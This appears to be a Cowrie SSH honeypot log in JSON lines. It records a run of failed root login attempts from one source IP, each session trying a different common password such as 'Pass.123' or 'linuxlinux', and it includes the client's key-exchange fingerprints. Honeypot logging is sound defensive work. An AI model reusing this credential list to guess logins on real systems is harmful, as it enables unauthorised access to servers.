{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:30.515559Z","src_ip":"60.165.124.241","session":"b82ad9ff430a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xinghe@root!","message":"login attempt [root/Xinghe@root!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:31.240889Z","src_ip":"60.165.124.241","session":"b82ad9ff430a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:32.482097Z","src_ip":"60.165.124.241","session":"b82ad9ff430a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60462,"dst_ip":"10.17.0.5","dst_port":22,"session":"d34973854710","protocol":"ssh","message":"New connection: 60.165.124.241:60462 (10.17.0.5:22) [session: d34973854710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:32.737025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:32.742362Z","src_ip":"60.165.124.241","session":"d34973854710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:32.998165Z","src_ip":"60.165.124.241","session":"d34973854710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123...","message":"login attempt [root/QWEqwe123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:33.759457Z","src_ip":"60.165.124.241","session":"d34973854710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:35.013585Z","src_ip":"60.165.124.241","session":"d34973854710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35204,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd2e6794ef9b","protocol":"ssh","message":"New connection: 60.165.124.241:35204 (10.17.0.5:22) [session: bd2e6794ef9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:35.242447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:35.247718Z","src_ip":"60.165.124.241","session":"bd2e6794ef9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:35.502834Z","src_ip":"60.165.124.241","session":"bd2e6794ef9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc$RFV5tgb^YHN","message":"login attempt [root/1qaz@WSX3edc$RFV5tgb^YHN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:36.246911Z","src_ip":"60.165.124.241","session":"bd2e6794ef9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:37.501677Z","src_ip":"60.165.124.241","session":"bd2e6794ef9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38472,"dst_ip":"10.17.0.5","dst_port":22,"session":"8314a912bbec","protocol":"ssh","message":"New connection: 60.165.124.241:38472 (10.17.0.5:22) [session: 8314a912bbec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:37.742193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:37.747249Z","src_ip":"60.165.124.241","session":"8314a912bbec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:37.984729Z","src_ip":"60.165.124.241","session":"8314a912bbec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass.123","message":"login attempt [root/Pass.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:38.735766Z","src_ip":"60.165.124.241","session":"8314a912bbec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:39.980337Z","src_ip":"60.165.124.241","session":"8314a912bbec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41024,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b7f847212b","protocol":"ssh","message":"New connection: 60.165.124.241:41024 (10.17.0.5:22) [session: 71b7f847212b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:40.216129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:40.220799Z","src_ip":"60.165.124.241","session":"71b7f847212b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:40.457791Z","src_ip":"60.165.124.241","session":"71b7f847212b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ba123456","message":"login attempt [root/Ba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:41.180201Z","src_ip":"60.165.124.241","session":"71b7f847212b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:42.422322Z","src_ip":"60.165.124.241","session":"71b7f847212b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43886,"dst_ip":"10.17.0.5","dst_port":22,"session":"3950457c4a0a","protocol":"ssh","message":"New connection: 60.165.124.241:43886 (10.17.0.5:22) [session: 3950457c4a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:42.665680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:42.670368Z","src_ip":"60.165.124.241","session":"3950457c4a0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:42.914574Z","src_ip":"60.165.124.241","session":"3950457c4a0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linuxlinux","message":"login attempt [root/linuxlinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:43.644939Z","src_ip":"60.165.124.241","session":"3950457c4a0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:44.891356Z","src_ip":"60.165.124.241","session":"3950457c4a0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46896,"dst_ip":"10.17.0.5","dst_port":22,"session":"53d28f6ffede","protocol":"ssh","message":"New connection: 60.165.124.241:46896 (10.17.0.5:22) [session: 53d28f6ffede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:45.139304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:45.144781Z","src_ip":"60.165.124.241","session":"53d28f6ffede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:45.400800Z","src_ip":"60.165.124.241","session":"53d28f6ffede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos7svm","message":"login attempt [root/centos7svm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:46.164601Z","src_ip":"60.165.124.241","session":"53d28f6ffede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:47.413257Z","src_ip":"60.165.124.241","session":"53d28f6ffede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49836,"dst_ip":"10.17.0.5","dst_port":22,"session":"6834bbfa4816","protocol":"ssh","message":"New connection: 60.165.124.241:49836 (10.17.0.5:22) [session: 6834bbfa4816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:47.664445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:47.670016Z","src_ip":"60.165.124.241","session":"6834bbfa4816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:47.929935Z","src_ip":"60.165.124.241","session":"6834bbfa4816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yahweh","message":"login attempt [root/yahweh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:48.706381Z","src_ip":"60.165.124.241","session":"6834bbfa4816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:49.965229Z","src_ip":"60.165.124.241","session":"6834bbfa4816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52998,"dst_ip":"10.17.0.5","dst_port":22,"session":"179730554c9a","protocol":"ssh","message":"New connection: 60.165.124.241:52998 (10.17.0.5:22) [session: 179730554c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:50.198130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:50.203346Z","src_ip":"60.165.124.241","session":"179730554c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:50.463751Z","src_ip":"60.165.124.241","session":"179730554c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test2024@","message":"login attempt [root/test2024@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:51.458646Z","src_ip":"60.165.124.241","session":"179730554c9a","protocol":"ssh"}
